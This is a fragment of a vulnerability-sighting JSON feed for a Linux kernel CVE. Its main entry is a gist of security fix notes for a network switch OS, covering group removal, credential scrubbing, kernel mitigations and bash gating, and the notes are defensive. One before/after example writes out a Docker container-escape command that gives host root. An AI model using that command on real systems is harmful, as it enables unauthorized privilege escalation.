\u0441\u0442\u0440\u043e\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b \u0441 \u0444\u043b\u0430\u0433\u043e\u043c setuid \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n\u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e Copy Fail \u0441\u0430\u043c\u0430 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442, \u043d\u043e \u043f\u043e\u0441\u043b\u0435 RCE, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438 SSH \u0438\u043b\u0438 \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0441\u0431\u043e\u0440\u043a\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u0435\u0442 \u0441\u0442\u0430\u0442\u044c \u043a\u043e\u0440\u043e\u0442\u043a\u0438\u043c \u043f\u0443\u0442\u0451\u043c \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u043d\u0430\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439. Debian, Ubuntu, SUSE \u0438 Red Hat \u0443\u0436\u0435 \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f.\n\n#Linux #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #\u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c\n@SecLabNews", "creation_timestamp": "2026-09-02T17:00:19.593918Z"}, {"uuid": "c5fdab84-f176-4893-be8b-e397647ed34b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://gist.github.com/ManiAm-AI/1dfe88d8d616dfa3dda5c6a74a8e4968", "content": "\n## Group 1\n\n### UPSW-9340 \u2014 Remove Docker/Redis Groups from Admin User\n\n> **TL;DR:** Docker group membership gave any admin user trivial container-escape-to-root access. Removed docker/redis groups from admin role.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **High** \u2014 container escape to host root |\n| **PRs** | SkyOS [#1882](https://github.com/upscale-ai-network/SkyOS/pull/1882) + ucli [#1722](https://github.com/upscale-ai-network/ucli/pull/1722) |\n| **Risk** | Medium \u2014 changes group membership for admin users; `sudo docker` still works as fallback |\n\n**What it is:**\nDocker group membership allows mounting the host filesystem into a container and executing commands as root \u2014 trivial privilege escalation. The admin user was in the `docker` group by default.\n\n**The fix:**\n- **SkyOS:** `build_debian.sh` no longer adds admin to `docker` or `redis` groups. High-privilege RADIUS/TACACS+ defaults updated similarly.\n- **ucli:** Added `_docker()` helper to `sonic-login-shell` and `ucli-host-wrapper` that falls back to `sudo docker` for users not in the docker group.\n\n**Example:**\n\n```\n# BEFORE \u2014 admin in docker group\nadmin@switch:~$ id\nuid=1000(admin) gid=1000(admin) groups=999(docker),998(redis),27(sudo)\n\nadmin@switch:~$ docker run -v /:/host -it debian chroot /host\nroot@container:/#                          \u2190 full host root access\n\n# AFTER \u2014 docker group removed\nadmin@switch:~$ id\nuid=1000(admin) gid=1000(admin) groups=27(sudo)\n\nadmin@switch:~$ docker run -v /:/host -it debian chroot /host\nGot permission denied                      \u2190 blocked without sudo\n```\n\n**Verified:** Confirmed `id admin` shows no docker/redis groups; uCLI still works via `sudo docker` fallback.\n\n---\n\n### UPSW-9047 \u2014 KLISH Metacharacter Escaping Breaks Password Authentication\n\n> **TL;DR:** Passwords with `!`, `$`, or `\\` were silently stored with stray escape characters, causing SSH login to fail.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **High** \u2014 authentication broken for passwords with special characters |\n| **PR** | ucli [#1596](https://github.com/upscale-ai-network/ucli/pull/1596) |\n| **Risk** | None \u2014 only affects the Rust handler path; Python handler already had the fix |\n\n**What it is:**\nKLISH bash ACTION blocks wrap arguments in double-quotes, so bash escapes metacharacters (`!` \u2192 `\\!`, `$` \u2192 `\\$`). The Python password handler had `_unescape_klish()` to reverse this, but the Rust handler was ported without it.\n\n**The bug:**\nSetting `YourPaSsWoRd123!` via uCLI actually hashed `YourPaSsWoRd123\\!`. SSH login with the real password never matched the stored hash.\n\n**The fix:**\nThree-line `unescape_klish()` function in the Rust handler, applied before validation and hashing.\n\n**Example:**\n\n```\n# BEFORE\nadmin@switch(config)# username testuser role admin secret YourPaSsWoRd123!\n                                          \u2190 stored hash of \"YourPaSsWoRd123\\!\" (wrong)\n\n$ ssh testuser@switch\nPassword: YourPaSsWoRd123!\nPermission denied                          \u2190 doesn't match escaped hash\n\n# AFTER\nadmin@switch(config)# username testuser role admin secret YourPaSsWoRd123!\n                                          \u2190 stored hash of \"YourPaSsWoRd123!\" (correct)\n\n$ ssh testuser@switch\nPassword: YourPaSsWoRd123!\ntestuser@switch:~$                         \u2190 login succeeds\n```\n\n**Verified:** Set password with `!`, `$`, and `\\` characters; confirmed SSH login succeeds.\n\n---\n\n### UPSW-9042 \u2014 SSH Host Keys Lost on Every Image Upgrade\n\n> **TL;DR:** Every SONiC upgrade regenerated SSH host keys, breaking all existing client connections with a \"REMOTE HOST IDENTIFICATION HAS CHANGED\" warning.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **High** \u2014 operational disruption + confusing security warning on every upgrade |\n| **PR** | SkyOS [#1815](https://github.com/upscale-ai-network/SkyOS/pull/1815) |\n| **Risk** | Low \u2014 only changes where keys are stored; no change to key generation logic |\n\n**What it is:**\nEach SONiC image has its own squashfs rootfs, so `/etc/ssh/` is empty on first boot of a new image. `sshd` regenerates host keys, breaking every SSH client that had the old fingerprint cached.\n\n**The fix:**\nUses `/host/ssh/` as persistent backing store:\n- **Same image reboot:** keys exist in `/etc/ssh/` \u2192 do nothing\n- **Upgrade (new image):** keys missing from `/etc/ssh/` but present in `/host/ssh/` \u2192 restore them\n- **First-ever boot:** no keys anywhere \u2192 generate and persist to `/host/ssh/`\n\n**Example:**\n\n```\n# BEFORE \u2014 every upgrade\n$ ssh admin@switch\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @\n@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@\n\u2190 operator must manually clear known_hosts\n\n# AFTER \u2014 keys persist\n$ ssh admin@switch\nadmin@switch:~$                            \u2190 seamless reconnect after upgrade\n```\n\n**Verified:** Simulated image upgrade; confirmed SSH fingerprint unchanged; no `known_hosts` warning.\n\n---\n\n### UPSW-9818 \u2014 Stranded CLI Sessions Cause OOM Kills\n\n> **TL;DR:** When the host-side CLI wrapper is OOM-killed, container-side clish processes are orphaned and leak ~80 MB each. Added a watchdog and reaper to detect and terminate them.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **High** \u2014 35 orphaned sessions consumed 2.7 GiB of the 4.6 GiB container budget |\n| **PR** | ucli [#1830](https://github.com/upscale-ai-network/ucli/pull/1830) |\n| **Risk** | Low \u2014 watchdog uses a NUL byte (terminal no-op) for detection; no visible impact |\n\n**What it is:**\nWhen `ucli-host-wrapper` is killed by OOM/SIGKILL, no EXIT trap fires and no signal reaches the container-side processes. They block indefinitely on stdin, each holding ~80 MB.\n\n**The fix:**\n- **Primary (watchdog):** Writes a NUL byte to stdout every 10s. When the PTY master closes, `write()` returns EIO. After 3 failures \u2192 terminate the orphaned session.\n- **Safety net (reaper):** Supervisord runs a cleanup script every 5 min that kills clish processes with no controlling terminal (tty==?) older than 10 minutes.\n\n**Example:**\n\n```\n# BEFORE \u2014 host wrapper OOM-killed\nadmin@switch:~$ docker exec gnmi ps aux | grep clish\nroot  1234  0.0  1.6  clish   \u2190 orphaned, no TTY, blocking on stdin\nroot  1235  0.0  1.6  clish   \u2190 another orphan\n... 35 orphans \u00d7 80 MB = 2.7 GiB leaked\n\n# AFTER \u2014 watchdog detects and terminates\nSep 01 14:32:07 switch ucli-watchdog: Client connection lost (3 consecutive EIO).\n    Terminating orphaned clish pid 1234.\n```\n\n**Verified:** Killed host wrapper with SIGKILL; confirmed watchdog terminated orphaned session within 30 seconds.\n\n---\n\n### UPSW-9817 \u2014 Cap Concurrent CLI Sessions to Prevent OOM\n\n> **TL;DR:** No limit on concurrent CLI sessions \u2014 93 sessions triggered 80 OOM kills. Added admission gate based on container memory budget.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **High** \u2014 OOM kills crash the management framework |\n| **PR** | ucli [#1829](https://github.com/upscale-ai-network/ucli/pull/1829) |\n| **Risk** | Low \u2014 rejects only when at capacity; configurable override via CONFIG_DB |\n\n**What it is:**\nEach CLI session costs ~64 MiB. On a 5 GB container, 93 concurrent sessions triggered 80 OOM kills \u2014 including the mgmt-framework `python3` process itself.\n\n**The fix:**\nAdmission gate in `ucli_start` that derives a session cap from the container's cgroup memory limit: `floor(memory.max \u00d7 0.6 / 64 MiB)`, reserving 40% for framework services. On a 5 GB container, this caps at ~44 sessions.\n\n**Example:**\n\n```\n# BEFORE \u2014 93rd session triggers OOM\n$ ssh admin@switch      \u2190 session 93\n[mgmt-framework OOM-killed]\n\n# AFTER \u2014 admission gate rejects at capacity\n$ ssh admin@switch\n% Maximum concurrent CLI sessions reached (44 of 44).\n  Please try again later or contact the administrator.\nConnection closed.\n```\n\n**Verified:** Set `max_sessions` to 1 via CONFIG_DB; confirmed second session rejected cleanly; `UCLI_SKIP_ADMISSION=1` bypasses the gate.\n\n---\n\n### UPSW-9816 \u2014 Kernel Printk (OOM, Panic, Oops) Not Persisted to Syslog\n\n> **TL;DR:** Kernel messages (OOM-killer, panics) were silently dropped on Debian Trixie because rsyslog couldn't access `/dev/kmsg`. Fixed rsyslog config and added kernel log capture to tech-support.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **High** \u2014 critical diagnostic events lost |\n| **PRs** | SkyOS [#1994](https://github.com/upscale-ai-network/SkyOS/pull/1994) + sonic-utilities [#100](https://github.com/upscale-ai-network/sonic-utilities/pull/100) |\n| **Risk** | Low \u2014 rsyslog config change only; no auth or data-path changes |\n\n**What it is:**\nDebian Trixie's `rsyslog.service` includes `PrivateDevices=yes`, which blocks `imklog` from reading `/dev/kmsg`. Kernel messages never entered the syslog pipeline \u2014 OOM kills, panics, and oops were invisible.\n\n**The fix:**\n- **SkyOS:** Systemd drop-in sets `PrivateDevices=no`; adds explicit `kern.* -/var/log/kern.log` rule\n- **sonic-utilities:** Tech-support now captures `dmesg -T` (human-readable timestamps) and `journalctl -k` (current + previous boot)\n\n**Example:**\n\n```\n# BEFORE \u2014 kernel messages missing\nadmin@switch:~$ grep -c \"Out of memory\" /var/log/kern.log\n0                                          \u2190 OOM events lost\n\n# AFTER \u2014 kernel messages persisted\nadmin@switch:~$ grep \"Out of memory\" /var/log/kern.log\nSep 01 14:32:07 switch kernel: Out of memory: Killed process 1234 (python3)\n```\n\n**Verified:** Injected kernel message via `/dev/kmsg`; confirmed it appeared in syslog and kern.log.\n\n\n\n\n\n\n\n\n---\n\n## Group 2 \u2014 Tech-Support Credential Scrubbing\n\nFive PRs that systematically close credential leaks in tech-support archives. Each addresses a different file or format that was leaking secrets.\n\n---\n\n### UPSW-9447 \u2014 JSON-Aware Credential Redaction in config_db Scrub\n\n> **TL;DR:** Replaced fragile `sed` scrubbing with a recursive JSON tree walker that catches all credential-bearing keys at any nesting depth.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **High** \u2014 credentials exposed in shareable archives |\n| **PR** | sonic-utilities [#97](https://github.com/upscale-ai-network/sonic-utilities/pull/97) |\n| **Risk** | Low \u2014 BGP community values explicitly preserved; falls back to pass-through on invalid JSON |\n\n**What it is:**\n`generate_dump` used line-oriented `sed` to scrub `config_db.json`, but only covered TACACS `passkey` and SNMP community. Other credential keys (`password`, `secret`, `auth_key`, `priv_key`, `bind_password`) at arbitrary nesting depth remained in plaintext.\n\n**The fix:**\nInline Python JSON walker that recursively masks any value whose key contains a sensitive substring. Skips `ROUTE_MAP`, `BGP_COMMUNITY`, and `COMMUNITY_LIST` tables to avoid false positives. 19 unit tests added.\n\n**Example:**\n\n```json\n// BEFORE \u2014 credentials in plaintext\n\"TACACS|10.0.0.1\": { \"passkey\": \"s3cret!\", \"auth_key\": \"mykey123\" }\n\"RADIUS|10.0.0.2\": { \"secret\": \"r4dius!\" }\n\n// AFTER \u2014 all sensitive values masked\n\"TACACS|10.0.0.1\": { \"passkey\": \"****\", \"auth_key\": \"****\" }\n\"RADIUS|10.0.0.2\": { \"secret\": \"****\" }\n```\n\n**Verified:** Generated tech-support dump; confirmed no plaintext credentials in `config_db.json`.\n\n---\n\n### UPSW-9449 \u2014 Scrub FRR BGP Neighbor Passwords\n\n> **TL;DR:** BGP neighbor MD5/TCP-AO session secrets were exposed in tech-support FRR config files. Added a scrub regex for `neighbor  password` lines.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Medium** \u2014 BGP session secrets in shareable archives |\n| **PR** | sonic-utilities [#94](https://github.com/upscale-ai-network/sonic-utilities/pull/94) |\n| **Risk** | None \u2014 only adds a new sed regex; existing scrubs unchanged |\n\n**The fix:**\nNew regex `s/(neighbor\\s+\\S+\\s+password\\s+).*/\\1****/g` applied to both live and captured FRR config files, including multi-ASIC per-namespace files.\n\n**Verified:** Generated tech-support with BGP MD5 auth enabled; confirmed passwords show `****`.\n\n---\n\n### UPSW-9448 \u2014 Omit old_config/ from Techsupport Archives\n\n> **TL;DR:** Prior-config directory had unsanitized credentials (`default_users.json`, `constants.yml`). Removed the entire tree rather than playing whack-a-mole.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Medium** \u2014 unsanitized credentials in prior-config tree |\n| **PR** | sonic-utilities [#95](https://github.com/upscale-ai-network/sonic-utilities/pull/95) |\n| **Risk** | Low \u2014 TAC workflows don't require prior-config for diagnosis |\n\n**Verified:** Generated tech-support after an upgrade; confirmed `tar tzf | grep old_config` returns empty.\n\n---\n\n### UPSW-9446 \u2014 Scrub Password Hashes from default_users.json\n\n> **TL;DR:** Yescrypt password hashes from `/etc/shadow` were included in tech-support dumps, enabling offline brute-force attacks.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Medium** \u2014 password hashes in shareable archives |\n| **PR** | sonic-utilities [#96](https://github.com/upscale-ai-network/sonic-utilities/pull/96) |\n| **Risk** | None \u2014 only masks hash values; usernames and metadata preserved |\n\n**Verified:** Confirmed `default_users.json` in archive shows `\"password\": \"****\"` instead of hash material.\n\n---\n\n### UPSW-9445 \u2014 Scrub SNMP Community from snmp.yml and DHCP Hook\n\n> **TL;DR:** SNMP community string was masked in `config_db.json` but exposed in two other files. Added scrub passes for both.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Medium** \u2014 SNMP community string in two unscrubbed files |\n| **PR** | sonic-utilities [#98](https://github.com/upscale-ai-network/sonic-utilities/pull/98) |\n| **Risk** | None \u2014 adds existence guards; no-op when files are absent |\n\n**Verified:** Confirmed `snmp.yml` and DHCP hook file both show `snmp_rocommunity: ****` in archive.\n\n---\n\n\n\n\n\n\n\n## Group 3 \u2014 CLI Features (Day-0 Operational Commands)\n\n---\n\n### UPSW-9232 \u2014 Add `default interface` Command\n\n> **TL;DR:** Resets all user-applied configuration on an interface to factory defaults in a single operation \u2014 industry-standard command (Cisco/NX-OS equivalent).\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Medium** \u2014 missing industry-standard command |\n| **PR** | ucli [#1627](https://github.com/upscale-ai-network/ucli/pull/1627) |\n| **Risk** | Medium \u2014 resets all attributes on the interface; management interface is explicitly refused |\n\n**What it is:**\nOperators who need to reset an interface currently must manually remove each attribute individually with `no `. The `default interface` command does it in one step.\n\nSupports single interface, in-interface-mode, and range form. Covers Ethernet, PortChannel, Vlan, Loopback, and Tunnel. Management interface is **refused** to prevent lockout.\n\n**Example:**\n\n```\n# Reset a single interface\nadmin@switch(config)# default interface Ethernet 1/1\n\n# Reset a range\nadmin@switch(config)# default interface range Ethernet 1/1-2/1\n\n# Management interface protected\nadmin@switch(config)# default interface Management 0\n% Error: Cannot reset management interface \u2014 risk of connectivity loss.\n```\n\n**Verified:** Applied multiple attributes to Ethernet1/1; ran `default interface`; confirmed all reset to platform defaults.\n\n---\n\n### UPSW-9267 \u2014 Add `write erase factory-reset` Command\n\n> **TL;DR:** Added CLI-accessible factory reset (config, logs, users, containers) without requiring bash shell access.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Medium** \u2014 missing operational command |\n| **PR** | ucli [#1694](https://github.com/upscale-ai-network/ucli/pull/1694) |\n| **Risk** | Low \u2014 requires confirmation prompt; `force` variant for automation |\n\n**Example:**\n\n```\nadmin@switch:~$ write erase factory-reset\nWARNING: This will erase all configuration, logs, and user data.\nContinue? [no]: yes\nInitiating factory reset...\n```\n\n**Verified:** Confirmed device boots with factory defaults after reset; no residual config.\n\n---\n\n### UPSW-9323 \u2014 Add Boot Image Selection Commands\n\n> **TL;DR:** Added `show boot`, `boot system `, and `boot image ` \u2014 industry-standard commands for selecting which image boots next.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Medium** \u2014 missing industry-standard commands |\n| **PR** | ucli [#1706](https://github.com/upscale-ai-network/ucli/pull/1706) |\n| **Risk** | None \u2014 delegates to existing `install_image.py` backend; no new logic |\n\n**Example:**\n\n```\nadmin@switch:~$ show boot\nCurrent: SONiC-OS-4.2.0-202608\nNext:    SONiC-OS-4.2.0-202608\nAvailable:\n  SONiC-OS-4.2.0-202608\n  SONiC-OS-4.1.0-202607\n\nadmin@switch:~$ boot system SONiC-OS-4.1.0-202607\nBoot image set to SONiC-OS-4.1.0-202607. Reboot to activate.\n```\n\n**Verified:** Set boot image, rebooted, confirmed switch came up on the selected image.\n\n---\n\n### UPSW-9256 \u2014 Named Management Profile for Access Control\n\n> **TL;DR:** Declarative management profile that bundles permitted services + allowed source prefixes, reducing friction for management-plane hardening.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Medium** \u2014 reduces day-0 hardening friction |\n| **PR** | ucli [#1695](https://github.com/upscale-ai-network/ucli/pull/1695) |\n| **Risk** | Low \u2014 auto-generates CTRLPLANE ACL rules via existing `caclmgrd` path |\n\n**What it is:**\nManagement-plane hardening today requires the full ACL authoring path, which is complex enough that it's routinely skipped. The management profile provides a declarative abstraction.\n\n**Example:**\n\n```\nadmin@switch(config)# management profile SECURE\nadmin@switch(config-mgmt-profile)# service ssh\nadmin@switch(config-mgmt-profile)# service https\nadmin@switch(config-mgmt-profile)# permitted-ip 10.0.0.0/8\nadmin@switch(config-mgmt-profile)# exit\nadmin@switch(config)# interface Management 0\nadmin@switch(config-if)# management-profile SECURE\n\nadmin@switch:~$ show management-profile\nProfile: SECURE (bound to Management0)\n  Services: ssh, https\n  Permitted: 10.0.0.0/8\n```\n\n**Verified:** Bound profile; confirmed iptables rules match the profile definition.\n\n---\n\n### UPSW-9387 \u2014 Map SONiC Port Names to Front-Panel Aliases in Logging\n\n> **TL;DR:** `show logging` now translates `Ethernet384` to `Et49/1` so operators can search logs using faceplate names.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Low** \u2014 usability improvement |\n| **PR** | ucli [#1741](https://github.com/upscale-ai-network/ucli/pull/1741) |\n| **Risk** | None \u2014 falls back gracefully when PortMapper unavailable |\n\n**Example:**\n\n```\n# BEFORE\nadmin@switch:~$ show logging | include Et49/1\n                                           \u2190 no matches (logs use Ethernet384)\n\n# AFTER\nadmin@switch:~$ show logging | include Et49/1\nSep 01 14:32:07 switch bgpd: neighbor Et49/1 Up   \u2190 translated and matched\n```\n\n**Verified:** Confirmed `show logging | include Et49/1` matches entries that were previously `Ethernet384`.\n\n---\n\n### UPSW-9444 \u2014 Improve Techsupport Discoverability\n\n> **TL;DR:** Operators using `dir tech-support:/` or `copy tech-support://...` now get helpful redirects to the correct SkyOS commands instead of opaque errors.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Low** \u2014 usability improvement |\n| **PR** | ucli [#1751](https://github.com/upscale-ai-network/ucli/pull/1751) |\n| **Risk** | None \u2014 only adds hint messages on error paths |\n\n**Example:**\n\n```\n# BEFORE\nadmin@switch:~$ dir tech-support:/\n% Error: Invalid path\n\n# AFTER\nadmin@switch:~$ dir tech-support:/\n% Did you mean:\n    show techsupport history     \u2014 list available bundles\n    techsupport export   \u2014 export to remote server\n```\n\n**Verified:** Confirmed hint messages appear for `dir`, `copy`, and `scp` with tech-support paths.\n\n---\n\n### UPSW-9244 \u2014 Packet-Filter Framework for Dataplane Fault Isolation\n\n> **TL;DR:** Added `debug packet-filter` CLI framework for defining match criteria and scoping counter output to matched traffic. Hardware counter backend is a follow-up.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Low** \u2014 foundational framework; hardware counters pending |\n| **PR** | ucli [#1696](https://github.com/upscale-ai-network/ucli/pull/1696) |\n| **Risk** | None \u2014 CLI-only; no ASIC programming in this PR |\n\n**Example:**\n\n```\nadmin@switch:~$ debug packet-filter match source 10.0.0.1 destination 10.0.0.2 protocol 6\nadmin@switch:~$ debug packet-filter on\nadmin@switch:~$ show debugging packet-filter\nFilter 1: src=10.0.0.1 dst=10.0.0.2 proto=TCP  [active]\n```\n\n**Verified:** Filter state stored in STATE_DB; show command displays active filters.\n\n---\n\n### UPSW-9054 \u2014 Real-Time FRR Log Streaming\n\n> **TL;DR:** Added `show logging frr follow` for real-time FRR log streaming \u2014 no more dropping into bash for `tail -f`.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Low** \u2014 usability / removes bash dependency for FRR debugging |\n| **PR** | ucli [#1600](https://github.com/upscale-ai-network/ucli/pull/1600) |\n| **Risk** | None \u2014 streaming command with clean Ctrl-C termination |\n\n**Example:**\n\n```\nadmin@switch:~$ show logging frr follow | include bgpd\nSep 01 14:32:07 switch bgpd[1234]: neighbor 10.0.0.1 Up\nSep 01 14:32:08 switch bgpd[1234]: rcvd UPDATE w/ attr: nexthop 10.0.0.1\n^C\nadmin@switch:~$                            \u2190 clean exit\n```\n\n**Verified:** Confirmed real-time streaming; Ctrl-C terminates cleanly; `| include` filters work.\n\n---\n\n### UPSW-9046 \u2014 Add `find command keyword` for Command Search\n\n> **TL;DR:** Deterministic command search across the entire CLI tree \u2014 modeled after PAN-OS `find command keyword`.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Low** \u2014 discoverability improvement |\n| **PR** | ucli [#1597](https://github.com/upscale-ai-network/ucli/pull/1597) |\n| **Risk** | None \u2014 read-only search; no state changes |\n\n**Example:**\n\n```\nadmin@switch:~$ find command keyword logging\nclear logging\nlogging frr daemon\nlogging frr facility\nlogging host\nshow logging\nshow logging follow\nshow logging frr\nshow logging last\n...\n33 command(s) matched 'logging'\n```\n\n**Verified:** Confirmed search spans all modes; non-matching keywords produce clear \"No commands found\" message.\n\n\n\n\n\n\n\n\n\n\n\n\n## Group 4\n\n### UPSW-9337 \u2014 Interim Kernel CVE Mitigations\n\n> **TL;DR:** Kernel 6.12.41 is vulnerable to 8 privilege escalation CVEs \u2014 added interim mitigations (ptrace lockdown + xfrm module blacklist) until the full kernel upgrade.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Critical** \u2014 active CVEs with known exploitation paths |\n| **PR** | SkyOS [#1885](https://github.com/upscale-ai-network/SkyOS/pull/1885) |\n| **Risk** | Low \u2014 ptrace restriction and module blacklisting are standard hardening; GDB/strace still work under sudo |\n\n**What it is:**\nKernel 6.12.41 (deployed in SkyOS) is vulnerable to 8 privilege escalation CVEs. Two are confirmed exploitable:\n\n- **CVE-2026-43284 (Dirty Frag / xfrm-ESP):** Privilege escalation via IPsec memory corruption. The `xfrm_user` module is loaded by default.\n- **CVE-2026-31431 (Copy Fail):** Privilege escalation in `algif_aead` (AF_ALG socket). **Not mitigated** by ptrace_scope \u2014 requires the full kernel upgrade to 6.12.96+.\n\n**The fix:**\n1. **`kernel.yama.ptrace_scope=2`** \u2014 restricts ptrace to root only. Mitigates CVE-2026-46333 and other ptrace-dependent escalation vectors.\n2. **Block `xfrm_user` / `xfrm_algo`** \u2014 uses both `blacklist` and `install /bin/false` to fully prevent loading of IPsec transform modules, closing CVE-2026-43284. SkyOS does not use kernel-level IPsec.\n\n**Example:**\n\n```\n# BEFORE \u2014 xfrm modules loaded by default\nadmin@switch:~$ lsmod | grep xfrm\nxfrm_user      40960  0\nxfrm_algo       16384  1 xfrm_user        \u2190 attacker can trigger CVE-2026-43284\n\n# AFTER \u2014 modules blacklisted\nadmin@switch:~$ modprobe xfrm_user\nmodprobe: ERROR: could not insert 'xfrm_user': Operation not permitted\n\nadmin@switch:~$ sysctl kernel.yama.ptrace_scope\nkernel.yama.ptrace_scope = 2               \u2190 ptrace restricted to root\n```\n\n**Verified:** Confirmed `lsmod` shows no xfrm modules; `modprobe` fails; ptrace_scope is 2.\n\n---\n\n### UPSW-9533 \u2014 Consent Token Authorization for Elevated Shell Access\n\n> **TL;DR:** `bash` command now requires a time-limited, device-bound consent token obtained through an ECDSA challenge-response protocol before granting shell access.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **Critical** \u2014 unrestricted bash access bypasses all RBAC and audit controls |\n| **PR** | ucli [#1774](https://github.com/upscale-ai-network/ucli/pull/1774) |\n| **Risk** | Medium \u2014 changes the bash access workflow for all users; emergency access preserved when mgmt-framework is down |\n\n**What it is:**\nUnrestricted bash access on a switch allows executing arbitrary commands, extracting secrets, and bypassing audit trails. The security checklist requires bash to be gated behind an authorization mechanism.\n\n**The fix:**\nAn offline ECDSA P-256 challenge-response protocol:\n\n1. `debug shell challenge` \u2014 generates a device-bound, time-limited challenge (serial number, system MAC, hostname, nonce, 10-minute expiry)\n2. Operator forwards the challenge to Upscale support\n3. Support signs the challenge off-box with the ECDSA private key\n4. `debug shell response ` \u2014 verifies the signature and creates an 8-hour bash grant\n5. `bash` \u2014 only works with a valid grant\n\nSecurity properties: asymmetric crypto (only public key on-device), device-bound, time-limited, nonce-protected, offline verification, fully audited to syslog.\n\n**Example:**\n\n```\n# WITHOUT consent token\nadmin@switch:~$ bash\n% Error: Elevated shell access requires a consent token.\n         Use 'debug shell challenge' to initiate.\n\n# WITH consent token\nadmin@switch:~$ debug shell challenge\nChallenge: eyJzZXJpYWwiOiJTTjEyMzQ1Iiw...      \u2190 send this to support\n\nadmin@switch:~$ debug shell response \nConsent granted. Bash access valid for 8 hours.\n\nadmin@switch:~$ bash\nadmin@switch:/home/admin#                         \u2190 shell access granted\n```\n\n**Verified:** Confirmed bash is rejected without token; valid token grants 8-hour access; expired tokens are rejected.\n\n---\n\n### UPSW-9820 \u2014 Gate CLI Crash Fallback Behind Consent Token\n\n> **TL;DR:** CLI crashes previously dropped admin users into bash unconditionally. Now requires a consent token \u2014 same as normal bash access.\n\n| Field | Value |\n|-------|-------|\n| **Severity** | **High** \u2014 privilege escalation through CLI crash |\n| **PR** | ucli [#1831](https://github.com/upscale-ai-network/ucli/pull/1831) |\n| **Depends on** | [#1774](https://github.com/upscale-ai-network/ucli/pull/1774) (UPSW-9533 consent token base) |\n| **Risk** | Low \u2014 emergency access preserved when mgmt-framework is down |\n\n**What it is:**\nWhen `clish` crashes (signal kill, OOM), the login shell's fallback was to unconditionally drop admin users into bash \u2014 giving host root access without any authorization.\n\n**The fix:**\n- Admin **with** valid consent grant \u2192 bash (serviceability preserved)\n- Admin **without** grant, mgmt-framework healthy \u2192 denied with diagnostic message\n- Admin **without** grant, mgmt-framework down \u2192 bash (emergency access)\n- All bash escape paths are now audited via `logger`\n\n**Example:**\n\n```\n# BEFORE \u2014 crash gives free bash\n[clish killed by OOM]\nadmin@switch:/home/admin#                 \u2190 root shell, no questions asked\n\n# AFTER \u2014 consent token required\n[clish killed by OOM]\n% uCLI exited abnormally. Elevated shell access requires a consent token.\n  Use 'debug shell challenge' from a new session.\nConnection closed.\n```\n\n**Verified:** Killed clish with SIGKILL; confirmed bash denied without consent token; emergency access works when mgmt-framework container is down.\n\n", "creation_timestamp": "2026-09-02T19:21:02.882679Z"}, {"uuid": "f2fff495-cede-4caf-bd49-d05034e10263", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/sjiWb4V570I7Y2VMbcSJbMsOTYy_zKOC4GjP78H0L9_FGLc", "content": "", "creation_timestamp": "2026-09-02T20:00:05.647154Z"}, {"uuid": "ddcbdd4b-d368-4919-9531-fcc43ddb9df5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "Telegram/sjiWb4V570I7Y2VMbcSJbMsOTYy_zKOC4GjP78H0L9_FGLc", "content": "", "creation_timestamp": "2026-09-03T00:00:39.348460Z"}, {"uuid": "c43a2724-8f3e-46a1-81f6-bd46b930aa85", "vulnerability_lookup_origin": 